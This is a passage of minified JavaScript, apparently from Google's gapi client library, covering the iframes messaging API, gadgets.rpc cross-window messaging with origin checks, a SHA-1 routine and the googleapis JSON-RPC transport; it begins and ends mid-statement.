this.getContext().Ge[this.Cd()];this.getContext().vb().setTimeout((0,_.A)(function(){this.Ca()},this),0)};_.vo("_g_close",_.zo.prototype.rQ);_.vo("_g_closeMe",_.zo.prototype.sQ);_.vo("_g_restyle",_.zo.prototype.tY);_.vo("_g_restyleMe",_.zo.prototype.uY);_.vo("_g_wasClosed",_.zo.prototype.V_); var Vo,Yo,Zo,$o;_.Nn.prototype.oo=_.rc(11,function(a){this.R.apis=a;return this});_.Nn.prototype.tk=_.rc(10,function(a){this.R.rpctoken=a;return this});_.Oo=function(a){a.R.show=!0;return a};_.Po=function(a,b){a.R.where=b;return a};_.Qo=function(a,b){a.R.onClose=b};_.Ro=function(a,b){a.rel="stylesheet";a.href=_.Sc(b)};_.So=function(a){this.R=a||{}};_.So.prototype.value=function(){return this.R};_.So.prototype.getIframe=function(){return this.R.iframe};_.To=function(a,b){a.R.role=b;return a}; _.So.prototype.$i=function(a){this.R.setRpcReady=a;return this};_.So.prototype.tk=function(a){this.R.rpctoken=a;return this};_.Uo=function(a){a.R.selfConnect=!0;return a};Vo=function(a){this.R=a||{}};Vo.prototype.value=function(){return this.R};var Wo=function(a){var b=new Vo;b.R.role=a;return b};Vo.prototype.xH=function(){return this.R.role};Vo.prototype.Xb=function(a){this.R.handler=a;return this};Vo.prototype.Bb=function(){return this.R.handler};var Xo=function(a,b){a.R.filter=b;return a}; Vo.prototype.oo=function(a){this.R.apis=a;return this};Yo=function(a){a.R.runOnce=!0;return a};Zo=/^https?:\/\/[^\/%\\?#\s]+$/i;$o={longdesc:!0,name:!0,src:!0,frameborder:!0,marginwidth:!0,marginheight:!0,scrolling:!0,align:!0,height:!0,width:!0,id:!0,"class":!0,title:!0,tabindex:!0,hspace:!0,vspace:!0,allowtransparency:!0};_.ap=function(a,b,c){var d=a.Ti,e=b.eo;_.ko(_.jo(c,a.eo+"/"+b.Ti),e+"/"+d);_.io(c,b.Cd()).Nh(b.wd)};_.yo.prototype.fy=_.ea(17);_.g=_.zo.prototype; _.g.vQ=function(a){var b=new _.ho(a);a=new _.So(b.value());if(a.R.selfConnect)var c=this;else(_.Ym(Zo.test(b.Qa()),"Illegal origin for connected iframe - "+b.Qa()),c=this.Od.Ge[b.Cd()],c)?_.mo(b)&&(c.$i(),_.Ao(c,"_g_rpcReady")):(b=_.io(_.ko(_.jo((new _.ho).tk(_.Un(b)),b.xl()),_.lo(b)).Nh(b.Qa()),b.Cd()).$i(_.mo(b)),c=this.Od.uj(b.value()));b=this.Od;var d=a.R.role;a=a.R.data;bp(b);d=d||"";_.Td(b.hy,d,[]).push({yf:c.Cd(),data:a});cp(c,a,b.wB[d])}; _.g.aD=function(a,b){(new _.ho(b)).R._relayedDepth||(b={},_.Uo(_.To(new _.So(b),"_opener")),_.Ao(a,"_g_connect",b))}; _.g.VJ=function(a){var b=this,c=a.R.messageHandlers,d=a.R.messageHandlersFilter,e=a.R.onClose;_.Qo(_.Wn(_.Vn(a,null),null),null);_.mh();return _.Ao(this,"_g_open",a.value()).then(function(f){var h=new _.ho(f[0]),k=h.Cd();f=new _.ho;var l=b.eo,n=_.lo(h);_.ko(_.jo(f,b.Ti+"/"+h.xl()),n+"/"+l);_.io(f,k);f.Nh(h.Qa());f.oo(h.R.apis);f.tk(_.Un(a));_.Vn(f,c);_.Wn(f,d);_.Qo(f,e);(h=b.Od.Ge[k])||(h=b.Od.uj(f.value()));return h})}; _.g.vC=function(a){var b=a.getUrl();_.Ym(!b||_.nn.test(b),"Illegal url for new iframe - "+b);var c=a.hn().value();b={};for(var d in c)_.Ud(c,d)&&_.Ud($o,d)&&(b[d]=c[d]);_.Ud(c,"style")&&(d=c.style,"object"===typeof d&&(b.style=_.No(d)));a.value().attributes=b}; _.g.gX=function(a){a=new _.ho(a);this.vC(a);var b=a.R._relayedDepth||0;a.R._relayedDepth=b+1;a.R.openerIframe=this;_.mh();var c=_.Un(a);a.tk(null);return this.Od.open(a.value()).then((0,_.A)(function(a){var d=(new _.ho(a.Ob())).R.apis,f=new _.ho;_.ap(a,this,f);0==b&&_.To(new _.So(f.value()),"_opener");f.$i(!0);f.tk(c);_.Ao(a,"_g_connect",f.value());f=new _.ho;_.io(_.ko(_.jo(f.oo(d),a.xl()),a.eo),a.Cd()).Nh(a.Qa());return f.value()},this))};var bp=function(a){a.hy||(a.hy=_.D(),a.wB=_.D())}; _.yo.prototype.xx=function(a,b,c,d){bp(this);"object"===typeof a?(b=new Vo(a),c=b.xH()||""):(b=Xo(Wo(a).Xb(b).oo(c),d),c=a);d=this.hy[c]||[];a=!1;for(var e=0;e<d.length&&!a;e++)cp(this.Ge[d[e].yf],d[e].data,[b]),a=b.R.runOnce;c=_.Td(this.wB,c,[]);a||b.R.dontWait||c.push(b)};_.yo.prototype.vK=_.ea(18); var cp=function(a,b,c){c=c||[];for(var d=0;d<c.length;d++){var e=c[d];if(e&&a){var f=e.R.filter||_.po;if(a&&f(a)){f=e.R.apis||[];for(var h=0;h<f.length;h++)a.Yo(f[h]);e.Bb()&&e.Bb()(a,b);e.R.runOnce&&(c.splice(d,1),--d)}}}};_.yo.prototype.sj=function(a,b,c){this.xx(Yo(Xo(Wo("_opener").Xb(a).oo(b),c)).value())};_.zo.prototype.sY=function(a){this.getContext().sj(function(b){b.send("_g_wasRestyled",a,void 0,_.M)},null,_.M)};var dp=_.ao.hb;dp&&dp.register("_g_restyleDone",_.zo.prototype.sY,_.M); _.vo("_g_connect",_.zo.prototype.vQ);var ep={};ep._g_open=_.zo.prototype.gX;_.to("_open",ep,_.M); _.w("gapi.iframes.create",_.Kn); _.zo.prototype.sK=_.rc(16,function(a,b){this.register("_g_wasRestyled",a,b)});_.g=_.yo.prototype;_.g.rL=_.rc(15,function(a){this.gw("onRestyleSelfFilter",a)});_.g.bL=_.rc(14,function(a){this.gw("onCloseSelfFilter",a)});_.g.pH=_.rc(13,function(){return this.hb});_.g.gw=_.rc(12,function(a,b){this.bK[a]=b});_.g.Dn=_.rc(3,function(){return this.Fb});_.zo.prototype.Dn=_.rc(2,function(){return this.Fb});_.w("gapi.iframes.registerStyle",function(a,b){_.Go[a]=b}); _.w("gapi.iframes.registerBeforeOpenStyle",function(a,b){_.Do[a]=b});_.w("gapi.iframes.getStyle",_.Fo);_.w("gapi.iframes.getBeforeOpenStyle",function(a){return _.Do[a]});_.w("gapi.iframes.registerIframesApi",_.to);_.w("gapi.iframes.registerIframesApiHandler",_.uo);_.w("gapi.iframes.getContext",_.wo);_.w("gapi.iframes.SAME_ORIGIN_IFRAMES_FILTER",_.po);_.w("gapi.iframes.CROSS_ORIGIN_IFRAMES_FILTER",_.M);_.w("gapi.iframes.makeWhiteListIframesFilter",_.qo);_.w("gapi.iframes.Context",_.yo); _.w("gapi.iframes.Context.prototype.isDisposed",_.yo.prototype.Dn);_.w("gapi.iframes.Context.prototype.getWindow",_.yo.prototype.vb);_.w("gapi.iframes.Context.prototype.getFrameName",_.yo.prototype.Cd);_.w("gapi.iframes.Context.prototype.getGlobalParam",_.yo.prototype.Ez);_.w("gapi.iframes.Context.prototype.setGlobalParam",_.yo.prototype.gw);_.w("gapi.iframes.Context.prototype.open",_.yo.prototype.open);_.w("gapi.iframes.Context.prototype.openChild",_.yo.prototype.Tg); _.w("gapi.iframes.Context.prototype.getParentIframe",_.yo.prototype.pH);_.w("gapi.iframes.Context.prototype.closeSelf",_.yo.prototype.dy);_.w("gapi.iframes.Context.prototype.restyleSelf",_.yo.prototype.sC);_.w("gapi.iframes.Context.prototype.setCloseSelfFilter",_.yo.prototype.bL);_.w("gapi.iframes.Context.prototype.setRestyleSelfFilter",_.yo.prototype.rL);_.w("gapi.iframes.Iframe",_.zo);_.w("gapi.iframes.Iframe.prototype.isDisposed",_.zo.prototype.Dn); _.w("gapi.iframes.Iframe.prototype.getContext",_.zo.prototype.getContext);_.w("gapi.iframes.Iframe.prototype.getFrameName",_.zo.prototype.Cd);_.w("gapi.iframes.Iframe.prototype.getId",_.zo.prototype.ka);_.w("gapi.iframes.Iframe.prototype.register",_.zo.prototype.register);_.w("gapi.iframes.Iframe.prototype.unregister",_.zo.prototype.unregister);_.w("gapi.iframes.Iframe.prototype.send",_.zo.prototype.send);_.w("gapi.iframes.Iframe.prototype.applyIframesApi",_.zo.prototype.Yo); _.w("gapi.iframes.Iframe.prototype.getIframeEl",_.zo.prototype.Ha);_.w("gapi.iframes.Iframe.prototype.getSiteEl",_.zo.prototype.$a);_.w("gapi.iframes.Iframe.prototype.setSiteEl",_.zo.prototype.Ze);_.w("gapi.iframes.Iframe.prototype.getWindow",_.zo.prototype.vb);_.w("gapi.iframes.Iframe.prototype.getOrigin",_.zo.prototype.Qa);_.w("gapi.iframes.Iframe.prototype.close",_.zo.prototype.close);_.w("gapi.iframes.Iframe.prototype.restyle",_.zo.prototype.tr); _.w("gapi.iframes.Iframe.prototype.restyleDone",_.zo.prototype.bo);_.w("gapi.iframes.Iframe.prototype.registerWasRestyled",_.zo.prototype.sK);_.w("gapi.iframes.Iframe.prototype.registerWasClosed",_.zo.prototype.ik);_.w("gapi.iframes.Iframe.prototype.getParam",_.zo.prototype.Mz);_.w("gapi.iframes.Iframe.prototype.setParam",_.zo.prototype.pL);_.w("gapi.iframes.Iframe.prototype.ping",_.zo.prototype.ping); var LM=function(a,b){a.R.data=b;return a};_.yo.prototype.vK=_.rc(18,function(a,b){a=_.Td(this.wB,a,[]);if(b)for(var c=0,d=!1;!d&&c<a.length;c++)a[c].Oe===b&&(d=!0,a.splice(c,1));else a.splice(0,a.length)}); _.yo.prototype.fy=_.rc(17,function(a,b){a=new _.So(a);var c=new _.So(b),d=_.mo(a);b=a.getIframe();var e=c.getIframe();if(e){var f=_.Un(a),h=new _.ho;_.ap(b,e,h);LM(_.To((new _.So(h.value())).tk(f),a.R.role),a.R.data).$i(d);var k=new _.ho;_.ap(e,b,k);LM(_.To((new _.So(k.value())).tk(f),c.R.role),c.R.data).$i(!0);_.Ao(b,"_g_connect",h.value(),function(){d||_.Ao(e,"_g_connect",k.value())});d&&_.Ao(e,"_g_connect",k.value())}else c={},LM(_.To(_.Uo(new _.So(c)),a.R.role),a.R.data),_.Ao(b,"_g_connect",c)}); _.w("gapi.iframes.Context.prototype.addOnConnectHandler",_.yo.prototype.xx);_.w("gapi.iframes.Context.prototype.removeOnConnectHandler",_.yo.prototype.vK);_.w("gapi.iframes.Context.prototype.addOnOpenerHandler",_.yo.prototype.sj);_.w("gapi.iframes.Context.prototype.connectIframes",_.yo.prototype.fy); _.ak=window.googleapis&&window.googleapis.server||{}; (function(){function a(a,b){if(!(a<c)&&d)if(2===a&&d.warn)d.warn(b);else if(3===a&&d.error)try{d.error(b)}catch(h){}else d.log&&d.log(b)}var b=function(b){a(1,b)};_.Ra=function(b){a(2,b)};_.Sa=function(b){a(3,b)};_.oe=function(){};b.INFO=1;b.WARNING=2;b.NONE=4;var c=1,d=window.console?window.console:window.opera?window.opera.postError:void 0;return b})(); _.pe=function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(_.Wa(d)){var e=a.length||0,f=d.length||0;a.length=e+f;for(var h=0;h<f;h++)a[e+h]=d[h]}else a.push(d)}}; _.I=_.I||{};_.I.Hs=function(a,b,c,d){"undefined"!=typeof a.addEventListener?a.addEventListener(b,c,d):"undefined"!=typeof a.attachEvent?a.attachEvent("on"+b,c):_.Ra("cannot attachBrowserEvent: "+b)};_.I.VX=function(a){var b=window;b.removeEventListener?b.removeEventListener("mousemove",a,!1):b.detachEvent?b.detachEvent("onmousemove",a):_.Ra("cannot removeBrowserEvent: mousemove")}; _.bk=function(){function a(){e[0]=1732584193;e[1]=4023233417;e[2]=2562383102;e[3]=271733878;e[4]=3285377520;p=n=0}function b(a){for(var b=h,c=0;64>c;c+=4)b[c/4]=a[c]<<24|a[c+1]<<16|a[c+2]<<8|a[c+3];for(c=16;80>c;c++)a=b[c-3]^b[c-8]^b[c-14]^b[c-16],b[c]=(a<<1|a>>>31)&4294967295;a=e[0];var d=e[1],f=e[2],k=e[3],l=e[4];for(c=0;80>c;c++){if(40>c)if(20>c){var n=k^d&(f^k);var p=1518500249}else n=d^f^k,p=1859775393;else 60>c?(n=d&f|k&(d|f),p=2400959708):(n=d^f^k,p=3395469782);n=((a<<5|a>>>27)&4294967295)+ n+l+p+b[c]&4294967295;l=k;k=f;f=(d<<30|d>>>2)&4294967295;d=a;a=n}e[0]=e[0]+a&4294967295;e[1]=e[1]+d&4294967295;e[2]=e[2]+f&4294967295;e[3]=e[3]+k&4294967295;e[4]=e[4]+l&4294967295}function c(a,c){if("string"===typeof a){a=(0,window.unescape)((0,window.encodeURIComponent)(a));for(var d=[],e=0,h=a.length;e<h;++e)d.push(a.charCodeAt(e));a=d}c||(c=a.length);d=0;if(0==n)for(;d+64<c;)b(a.slice(d,d+64)),d+=64,p+=64;for(;d<c;)if(f[n++]=a[d++],p++,64==n)for(n=0,b(f);d+64<c;)b(a.slice(d,d+64)),d+=64,p+=64} function d(){var a=[],d=8*p;56>n?c(k,56-n):c(k,64-(n-56));for(var h=63;56<=h;h--)f[h]=d&255,d>>>=8;b(f);for(h=d=0;5>h;h++)for(var l=24;0<=l;l-=8)a[d++]=e[h]>>l&255;return a}for(var e=[],f=[],h=[],k=[128],l=1;64>l;++l)k[l]=0;var n,p;a();return{reset:a,update:c,digest:d,Ig:function(){for(var a=d(),b="",c=0;c<a.length;c++)b+="0123456789ABCDEF".charAt(Math.floor(a[c]/16))+"0123456789ABCDEF".charAt(a[c]%16);return b}}}; _.ck=function(){function a(a){var b=_.bk();b.update(a);return b.Ig()}var b=window.crypto;if(b&&"function"==typeof b.getRandomValues)return function(){var a=new window.Uint32Array(1);b.getRandomValues(a);return Number("0."+a[0])};var c=_.H("random/maxObserveMousemove");null==c&&(c=-1);var d=0,e=Math.random(),f=1,h=1E6*(window.screen.width*window.screen.width+window.screen.height),k=function(a){a=a||window.event;var b=a.screenX+a.clientX<<16;b+=a.screenY+a.clientY;b*=(new Date).getTime()%1E6;f=f*b% h;0<c&&++d==c&&_.I.VX(k)};0!=c&&_.I.Hs(window,"mousemove",k,!1);var l=a(window.document.cookie+"|"+window.document.location+"|"+(new Date).getTime()+"|"+e);return function(){var b=f;b+=(0,window.parseInt)(l.substr(0,20),16);l=a(l);return b/(h+Math.pow(16,20))}}(); _.w("shindig.random",_.ck); _.I=_.I||{};(function(){var a=[];_.I.P9=function(b){a.push(b)};_.I.c$=function(){for(var b=0,c=a.length;b<c;++b)a[b]()}})(); _.we=function(){var a=window.gadgets&&window.gadgets.config&&window.gadgets.config.get;a&&_.le(a());return{register:function(a,c,d){d&&d(_.H())},get:function(a){return _.H(a)},update:function(a,c){if(c)throw"Config replacement is not supported";_.le(a)},Pb:function(){}}}(); _.w("gadgets.config.register",_.we.register);_.w("gadgets.config.get",_.we.get);_.w("gadgets.config.init",_.we.Pb);_.w("gadgets.config.update",_.we.update); var jf;_.gf=function(){var a=_.Qd.readyState;return"complete"===a||"interactive"===a&&-1==window.navigator.userAgent.indexOf("MSIE")};_.hf=function(a){if(_.gf())a();else{var b=!1,c=function(){if(!b)return b=!0,a.apply(this,arguments)};_.Nd.addEventListener?(_.Nd.addEventListener("load",c,!1),_.Nd.addEventListener("DOMContentLoaded",c,!1)):_.Nd.attachEvent&&(_.Nd.attachEvent("onreadystatechange",function(){_.gf()&&c.apply(this,arguments)}),_.Nd.attachEvent("onload",c))}};jf=jf||{};jf.HK=null; jf.zJ=null;jf.uu=null;jf.frameElement=null; jf=jf||{}; jf.ZD||(jf.ZD=function(){function a(a,b,c){"undefined"!=typeof window.addEventListener?window.addEventListener(a,b,c):"undefined"!=typeof window.attachEvent&&window.attachEvent("on"+a,b);"message"===a&&(window.___jsl=window.___jsl||{},a=window.___jsl,a.RPMQ=a.RPMQ||[],a.RPMQ.push(b))}function b(a){var b=_.cf(a.data);if(b&&b.f){(0,_.oe)("gadgets.rpc.receive("+window.name+"): "+a.data);var d=_.K.Bl(b.f);e&&("undefined"!==typeof a.origin?a.origin!==d:a.domain!==/^.+:\/\/([^:]+).*/.exec(d)[1])?_.Sa("Invalid rpc message origin. "+ d+" vs "+(a.origin||"")):c(b,a.origin)}}var c,d,e=!0;return{ZG:function(){return"wpm"},RV:function(){return!0},Pb:function(f,h){_.we.register("rpc",null,function(a){"true"===String((a&&a.rpc||{}).disableForceSecure)&&(e=!1)});c=f;d=h;a("message",b,!1);d("..",!0);return!0},Dc:function(a){d(a,!0);return!0},call:function(a,b,c){var d=_.K.Bl(a),e=_.K.bF(a);d?window.setTimeout(function(){var a=_.df(c);(0,_.oe)("gadgets.rpc.send("+window.name+"): "+a);e.postMessage(a,d)},0):".."!=a&&_.Sa("No relay set (used as window.postMessage targetOrigin), cannot send cross-domain message"); return!0}}}()); if(window.gadgets&&window.gadgets.rpc)"undefined"!=typeof _.K&&_.K||(_.K=window.gadgets.rpc,_.K.config=_.K.config,_.K.register=_.K.register,_.K.unregister=_.K.unregister,_.K.qK=_.K.registerDefault,_.K.oM=_.K.unregisterDefault,_.K.RG=_.K.forceParentVerifiable,_.K.call=_.K.call,_.K.kq=_.K.getRelayUrl,_.K.Ph=_.K.setRelayUrl,_.K.ew=_.K.setAuthToken,_.K.Hr=_.K.setupReceiver,_.K.fl=_.K.getAuthToken,_.K.kC=_.K.removeReceiver,_.K.uH=_.K.getRelayChannel,_.K.nK=_.K.receive,_.K.pK=_.K.receiveSameDomain,_.K.Qa= _.K.getOrigin,_.K.Bl=_.K.getTargetOrigin,_.K.bF=_.K._getTargetWin,_.K.xP=_.K._parseSiblingId);else{_.K=function(){function a(a,b){if(!aa[a]){var c=R;b||(c=ka);aa[a]=c;b=la[a]||[];for(var d=0;d<b.length;++d){var e=b[d];e.t=G[a];c.call(a,e.f,e)}la[a]=[]}}function b(){function a(){Ga=!0}N||("undefined"!=typeof window.addEventListener?window.addEventListener("unload",a,!1):"undefined"!=typeof window.attachEvent&&window.attachEvent("onunload",a),N=!0)}function c(a,c,d,e,f){G[c]&&G[c]===d||(_.Sa("Invalid gadgets.rpc token. "+ G[c]+" vs "+d),ua(c,2));f.onunload=function(){J[c]&&!Ga&&(ua(c,1),_.K.kC(c))};b();e=_.cf((0,window.decodeURIComponent)(e))}function d(b,c){if(b&&"string"===typeof b.s&&"string"===typeof b.f&&b.a instanceof Array)if(G[b.f]&&G[b.f]!==b.t&&(_.Sa("Invalid gadgets.rpc token. "+G[b.f]+" vs "+b.t),ua(b.f,2)),"__ack"===b.s)window.setTimeout(function(){a(b.f,!0)},0);else{b.c&&(b.callback=function(a){_.K.call(b.f,(b.g?"legacy__":"")+"__cb",null,b.c,a)});if(c){var d=e(c);b.origin=c;var f=b.r;try{var h=e(f)}catch(Ha){}f&& h==d||(f=c);b.referer=f}c=(y[b.s]||y[""]).apply(b,b.a);b.c&&"undefined"!==typeof c&&_.K.call(b.f,"__cb",null,b.c,c)}}function e(a){if(!a)return"";a=a.split("#")[0].split("?")[0];a=a.toLowerCase();0==a.indexOf("//")&&(a=window.location.protocol+a);-1==a.indexOf("://")&&(a=window.location.protocol+"//"+a);var b=a.substring(a.indexOf("://")+3),c=b.indexOf("/");-1!=c&&(b=b.substring(0,c));a=a.substring(0,a.indexOf("://"));if("http"!==a&&"https"!==a&&"chrome-extension"!==a&&"file"!==a&&"android-app"!== a&&"chrome-search"!==a)throw Error("p");c="";var d=b.indexOf(":");if(-1!=d){var e=b.substring(d+1);b=b.substring(0,d);if("http"===a&&"80"!==e||"https"===a&&"443"!==e)c=":"+e}return a+"://"+b+c}function f(a){if("/"==a.charAt(0)){var b=a.indexOf("|");return{id:0<b?a.substring(1,b):a.substring(1),origin:0<b?a.substring(b+1):null}}return null}function h(a){if("undefined"===typeof a||".."===a)return window.parent;var b=f(a);if(b)return window.top.frames[b.id];a=String(a);return(b=window.frames[a])?b:(b= window.document.getElementById(a))&&b.contentWindow?b.contentWindow:null}function k(a,b){if(!0!==J[a]){"undefined"===typeof J[a]&&(J[a]=0);var c=h(a);".."!==a&&null==c||!0!==R.Dc(a,b)?!0!==J[a]&&10>J[a]++?window.setTimeout(function(){k(a,b)},500):(aa[a]=ka,J[a]=!0):J[a]=!0}}function l(a){(a=F[a])&&"/"===a.substring(0,1)&&(a="/"===a.substring(1,2)?window.document.location.protocol+a:window.document.location.protocol+"//"+window.document.location.host+a);return a}function n(a,b,c){b&&!/http(s)?:\/\/.+/.test(b)&& (0==b.indexOf("//")?b=window.location.protocol+b:"/"==b.charAt(0)?b=window.location.protocol+"//"+window.location.host+b:-1==b.indexOf("://")&&(b=window.location.protocol+"//"+b));F[a]=b;"undefined"!==typeof c&&(E[a]=!!c)}function p(a,b){b=b||"";G[a]=String(b);k(a,b)}function q(a){a=(a.passReferrer||"").split(":",2);za=a[0]||"none";pa=a[1]||"origin"}function t(b){"true"===String(b.useLegacyProtocol)&&(R=jf.uu||ka,R.Pb(d,a))}function x(a,b){function c(c){c=c&&c.rpc||{};q(c);var d=c.parentRelayUrl|| "";d=e(V.parent||b)+d;n("..",d,"true"===String(c.useLegacyProtocol));t(c);p("..",a)}!V.parent&&b?c({}):_.we.register("rpc",null,c)}function v(a,b,c){if(".."===a)x(c||V.rpctoken||V.ifpctok||"",b);else a:{var d=null;if("/"!=a.charAt(0)){if(!_.I)break a;d=window.document.getElementById(a);if(!d)throw Error("q`"+a);}d=d&&d.src;b=b||_.K.Qa(d);n(a,b);b=_.I.xc(d);p(a,c||b.rpctoken)}}var y={},F={},E={},G={},B=0,L={},J={},V={},aa={},la={},za=null,pa=null,ba=window.top!==window.self,qa=window.name,ua=function(){}, db=window.console,ra=db&&db.log&&function(a){db.log(a)}||function(){},ka=function(){function a(a){return function(){ra(a+": call ignored")}}return{ZG:function(){return"noop"},RV:function(){return!0},Pb:a("init"),Dc:a("setup"),call:a("call")}}();_.I&&(V=_.I.xc());var Ga=!1,N=!1,R=function(){if("rmr"==V.rpctx)return jf.HK;var a="function"===typeof window.postMessage?jf.ZD:"object"===typeof window.postMessage?jf.ZD:window.ActiveXObject?jf.zJ?jf.zJ:jf.uu:0<window.navigator.userAgent.indexOf("WebKit")? jf.HK:"Gecko"===window.navigator.product?jf.frameElement:jf.uu;a||(a=ka);return a}();y[""]=function(){ra("Unknown RPC service: "+this.s)};y.__cb=function(a,b){var c=L[a];c&&(delete L[a],c.call(this,b))};return{config:function(a){"function"===typeof a.MK&&(ua=a.MK)},register:function(a,b){if("__cb"===a||"__ack"===a)throw Error("r");if(""===a)throw Error("s");y[a]=b},unregister:function(a){if("__cb"===a||"__ack"===a)throw Error("t");if(""===a)throw Error("u");delete y[a]},qK:function(a){y[""]=a},oM:function(){delete y[""]}, RG:function(){},call:function(a,b,c,d){a=a||"..";var e="..";".."===a?e=qa:"/"==a.charAt(0)&&(e=_.K.Qa(window.location.href),e="/"+qa+(e?"|"+e:""));++B;c&&(L[B]=c);var h={s:b,f:e,c:c?B:0,a:Array.prototype.slice.call(arguments,3),t:G[a],l:!!E[a]};a:if("bidir"===za||"c2p"===za&&".."===a||"p2c"===za&&".."!==a){var k=window.location.href;var l="?";if("query"===pa)l="#";else if("hash"===pa)break a;l=k.lastIndexOf(l);l=-1===l?k.length:l;k=k.substring(0,l)}else k=null;k&&(h.r=k);if(".."===a||null!=f(a)|| window.document.getElementById(a))(k=aa[a])||null===f(a)||(k=R),0===b.indexOf("legacy__")&&(k=R,h.s=b.substring(8),h.c=h.c?h.c:B),h.g=!0,h.r=e,k?(E[a]&&(k=jf.uu),!1===k.call(a,e,h)&&(aa[a]=ka,R.call(a,e,h))):la[a]?la[a].push(h):la[a]=[h]},kq:l,Ph:n,ew:p,Hr:v,fl:function(a){return G[a]},kC:function(a){delete F[a];delete E[a];delete G[a];delete J[a];delete aa[a]},uH:function(){return R.ZG()},nK:function(a,b){4<a.length?R.V7(a,d):c.apply(null,a.concat(b))},pK:function(a){a.a=Array.prototype.slice.call(a.a); window.setTimeout(function(){d(a)},0)},Qa:e,Bl:function(a){var b=null,c=l(a);c?b=c:(c=f(a))?b=c.origin:".."==a?b=V.parent:(a=window.document.getElementById(a))&&"iframe"===a.tagName.toLowerCase()&&(b=a.src);return e(b)},Pb:function(){!1===R.Pb(d,a)&&(R=ka);ba?v(".."):_.we.register("rpc",null,function(a){a=a.rpc||{};q(a);t(a)})},bF:h,xP:f,c0:"__ack",E5:qa||"..",T5:0,S5:1,R5:2}}();_.K.Pb()}; _.K.config({MK:function(a){throw Error("v`"+a);}});_.oe=_.ve;_.w("gadgets.rpc.config",_.K.config);_.w("gadgets.rpc.register",_.K.register);_.w("gadgets.rpc.unregister",_.K.unregister);_.w("gadgets.rpc.registerDefault",_.K.qK);_.w("gadgets.rpc.unregisterDefault",_.K.oM);_.w("gadgets.rpc.forceParentVerifiable",_.K.RG);_.w("gadgets.rpc.call",_.K.call);_.w("gadgets.rpc.getRelayUrl",_.K.kq);_.w("gadgets.rpc.setRelayUrl",_.K.Ph);_.w("gadgets.rpc.setAuthToken",_.K.ew);_.w("gadgets.rpc.setupReceiver",_.K.Hr);_.w("gadgets.rpc.getAuthToken",_.K.fl); _.w("gadgets.rpc.removeReceiver",_.K.kC);_.w("gadgets.rpc.getRelayChannel",_.K.uH);_.w("gadgets.rpc.receive",_.K.nK);_.w("gadgets.rpc.receiveSameDomain",_.K.pK);_.w("gadgets.rpc.getOrigin",_.K.Qa);_.w("gadgets.rpc.getTargetOrigin",_.K.Bl); var dk=function(a){return{execute:function(b){var c={method:a.httpMethod||"GET",root:a.root,path:a.url,params:a.urlParams,headers:a.headers,body:a.body},d=window.gapi,e=function(){var a=d.config.get("client/apiKey"),e=d.config.get("client/version");try{var k=d.config.get("googleapis.config/developerKey"),l=d.config.get("client/apiKey",k);d.config.update("client/apiKey",l);d.config.update("client/version","1.0.0-alpha");var n=d.client;n.request.call(n,c).then(b,b)}finally{d.config.update("client/apiKey", a),d.config.update("client/version",e)}};d.client?e():d.load.call(d,"client",e)}}},ek=function(a,b){return function(c){var d={};c=c.body;var e=_.cf(c),f={};if(e&&e.length)for(var h=0,k=e.length;h<k;++h){var l=e[h];f[l.id]=l}h=0;for(k=b.length;h<k;++h)l=b[h].id,d[l]=e&&e.length?f[l]:e;a(d,c)}},fk=function(a){a.transport={name:"googleapis",execute:function(b,c){for(var d=[],e=0,f=b.length;e<f;++e){var h=b[e],k=h.method,l=String(k).split(".")[0];l=_.H("googleapis.config/versions/"+k)||_.H("googleapis.config/versions/"+ l)||"v1";d.push({jsonrpc:"2.0",id:h.id,method:k,apiVersion:String(l),params:h.params})}b=dk({httpMethod:"POST",root:a.transport.root,url:"/rpc?pp=0",headers:{"Content-Type":"application/json"},body:d});b.execute.call(b,ek(c,d))},root:void 0}},gk=function(a){var b=this.method,c=this.transport;c.execute.call(c,[{method:b,id:b,params:this.rpc}],function(c){c=c[b];c.error||(c=c.data||c.result);a(c)})},ik=function(){for(var a=hk,b=a.split("."),c=function(b){b=b||{};b.groupId=b.groupId||"@self";b.userId= b.userId||"@viewer";b={method:a,rpc:b||{}};fk(b);b.execute=gk;return b},d=_.m,e=0,f=b.length;e<f;++e){var h=d[b[e]]||{};e+1==f&&(h=c);d=d[b[e]]=h}if(1<b.length&&"googleapis"!=b[0])for(b[0]="googleapis","delete"==b[b.length-1]&&(b[b.length-1]="remove"),d=_.m,e=0,f=b.length;e<f;++e)h=d[b[e]]||{},e+1==f&&(h=c),d=d[b[e]]=h},hk;for(hk in _.H("googleapis.config/methods"))ik(); _.w("googleapis.newHttpRequest",function(a){return dk(a)});_.w("googleapis.setUrlParameter",function(a,b){if("trace"!==a)throw Error("M");_.le("client/trace",b)}); _.fp=_.Td(_.ce,"rw",_.D()); var gp=function(a,b){(a=_.fp[a])&&a.state<b&&(a.state=b)};var hp=function(a){a=(a=_.fp[a])?a.oid:void 0;if(a){var b=_.Qd.getElementById(a);b&&b.parentNode.removeChild(b);delete _.fp[a];hp(a)}};_.ip=function(a){a=a.container;"string"===typeof a&&(a=window.document.getElementById(a));return a};_.jp=function(a){var b=a.clientWidth;return"position:absolute;top:-10000px;width:"+(b?b+"px":a.style.width||"300px")+";margin:0px;border-style:none;"}; _.kp=function(a,b){var c={},d=a.Ob(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e||(e=d.width||a.width);f||(f=d.height||a.height);d.width=c.width=e;d.height=c.height=f;d=a.Ha();e=a.ka();gp(e,2);a:{e=a.$a();c=c||{};if(_.ce.oa){var k=d.id;if(k){f=(f=_.fp[k])?f.state:void 0;if(1===f||4===f)break a;hp(k)}}(f=e.nextSibling)&&f.getAttribute&&f.getAttribute("data-gapistub")&&(e.parentNode.removeChild(f),e.style.cssText="");f=c.width;h=c.height;var l=e.style;l.textIndent="0";l.margin= "0";l.padding="0";l.background="transparent";l.borderStyle="none";l.cssFloat="none";l.styleFloat="none";l.lineHeight="normal";l.fontSize="1px";l.verticalAlign="baseline";e=e.style;e.display="inline-block";d=d.style;d.position="static";d.left="0";d.top="0";d.visibility="visible";f&&(e.width=d.width=f+"px");h&&(e.height=d.height=h+"px");c.verticalAlign&&(e.verticalAlign=c.verticalAlign);k&&gp(k,3)}(k=b?b.title:null)&&a.Ha().setAttribute("title",k);(b=b?b.ariaLabel:null)&&a.Ha().setAttribute("aria-label", b)};_.lp=function(a){var b=a.$a();b&&b.removeChild(a.Ha())};_.mp=function(a){a.where=_.ip(a);var b=a.messageHandlers=a.messageHandlers||{},c=function(a){_.kp(this,a)};b._ready=c;b._renderstart=c;var d=a.onClose;a.onClose=function(a){d&&d.call(this,a);_.lp(this)};a.onCreate=function(a){a=a.Ha();a.style.cssText=_.jp(a)}}; var 